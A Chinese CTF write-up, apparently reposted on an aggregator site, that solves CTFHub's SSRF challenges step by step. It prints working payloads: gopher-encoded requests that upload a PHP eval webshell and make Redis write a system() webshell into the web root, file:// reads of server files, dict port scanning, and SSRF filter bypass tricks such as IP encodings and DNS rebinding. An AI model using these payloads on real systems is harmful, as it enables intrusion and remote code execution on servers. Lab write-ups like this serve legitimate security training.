首页 > 其他 > 详细

CTFHUB-SSRF

时间:2021-08-14 11:53:01      阅读:59      评论:0      收藏:0      [点我收藏+]

内网访问

打开后什么也没有

url:

http://challenge-15dd8a3b6071b41e.sandbox.ctfhub.com:10800/?url=_

 技术分享图片
根据提示

 

 

构造?url=127.0.0.1/flag.php

得到ctfhub{7505498e57596c29d6e2b6c6}

伪协议访问文件

常见伪协议
file:/// – 本地文件传输协议,主要用于访问本地计算机中的文件。
dict:// – 字典服务器协议,dict是基于查询相应的TCP协议。
sftp:// – SSH文件传输协议或安全文件传输协议(Secure File Transfer Protocol)是一种简单的基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。
ldap:// – 代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
tftp:// – 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。
gopher:// – 是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
https://www.cnblogs.com/-mo-/p/11673190.html

Linux系统下,网站路径是 /var/www/html/,所以用php伪协议访问这个路径下的flag.php文件。

构造

?url=file:////var/www/html/flag.php

 页面回显 ???

查看源代码发现Flag is ctfhub{d2cdbfe00e2ed4d348479a56}

端口扫描

题目提示端口在8000-9000,因此直接扫就可以了。这里我们需要使用dict伪协议来扫描,因为dict协议可以用来探测开放的端口。
技术分享图片
发现端口是8056.直接进行访问,就可以得到flag了。
技术分享图片

POST请求

技术分享图片

访问flag.php,告诉我们必须要从本地访问技术分享图片

 源代码有key

需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload(注意下划线)

POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=d93819c4c1a18dc606dc5c6486f77227

特别要注意Content-Length应为字符串“key=d93819c4c1a18dc606dc5c6486f77227”的长度。

进行url三次编码即(注:第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码)

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=d93819c4c1a18dc606dc5c6486f77227

技术分享图片

 

上传文件

技术分享图片

 先看看flag.php

技术分享图片

 没有提交选项,F12 修改前端代码,

<input type="submit" name="submit" >

技术分享图片

 

 技术分享图片

看一下flag.php源码

<?php error_reporting(0); if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>

发现会判断文件是否为空。 上传一个非空文件,bp拦截。

技术分享图片

修改host为127.0.0.1:80,整段请求除了

技术分享图片

全都复制下来url编码一次,%0a换成%0d%0a后,再url编码一次

拼接payload

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250d%250aHost%253A127.0.0.1%253A80%250d%250aUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A85.0)%2520Gecko%252F20100101%2520Firefox%252F85.0%250d%250aAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%250d%250aContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------259295483530666699172933370572%250d%250aContent-Length%253A%2520422%250d%250aOrigin%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%250d%250aConnection%253A%2520keep-alive%250d%250aReferer%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%252F%253Furl%253D127.0.0.1%252Fflag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250a%250d%250a-----------------------------259295483530666699172933370572%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522y.phtml%2522%250d%250aContent-Type%253A%2520application%252Foctet-stream%250d%250a%250d%250aGIF89a%250d%250a%253Cscript%2520language%253D%2522php%2522%253Eeval(%2524_POST%255B%27shell%27%255D)%253B%253C%252Fscript%253E%2520%250d%250a%250d%250a-----------------------------259295483530666699172933370572

技术分享图片

 

 

 FastCGI协议

技术分享图片

https://blog.csdn.net/qq_45774670/article/details/109568987

https://blog.csdn.net/bmth666/article/details/104836708/

 Redis协议

技术分享图片

当把payload上传之后就可以用cmd参数在shell.php里操作。

工具:https://github.com/tarunkant/Gopherus

我们先将payload拼接在url后面

?url=gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A<%3Fphp system(%24_GET[‘cmd‘])%3B %3F>%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A

然后再

技术分享图片

 发现过滤了空格,用${IFS}代替

技术分享图片

 技术分享图片

URL Bypass

技术分享图片

1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

技术分享图片

数字IP Bypass

技术分享图片

其他进制数代替

127.0.0.1这个IP地址我们可以改写成:

  1. 8进制格式:0177.00.00.01
  2. 16进制格式:0x7f.0x0.0x0.0x1
  3. 10进制整数格式:2130706433
  4. 在linux下,0代表127.0.0.1,http://0进行请求127.0.0.1
  5. 也可以127.0.0.1—>localhost

 得到flag

302跳转 Bypass

 

   

技术分享图片

 

 

技术分享图片

DNS重绑定 Bypass

技术分享图片

使用DNS重绑定,在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如127.0.0.1.xip.io,就会自动重定向到127.0.0.1。
即:

?url=127.0.0.1.xip.io/flag.php

技术分享图片

 

 

 

CTFHUB-SSRF

原文:https://www.cnblogs.com/SONGYUELV/p/15139472.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!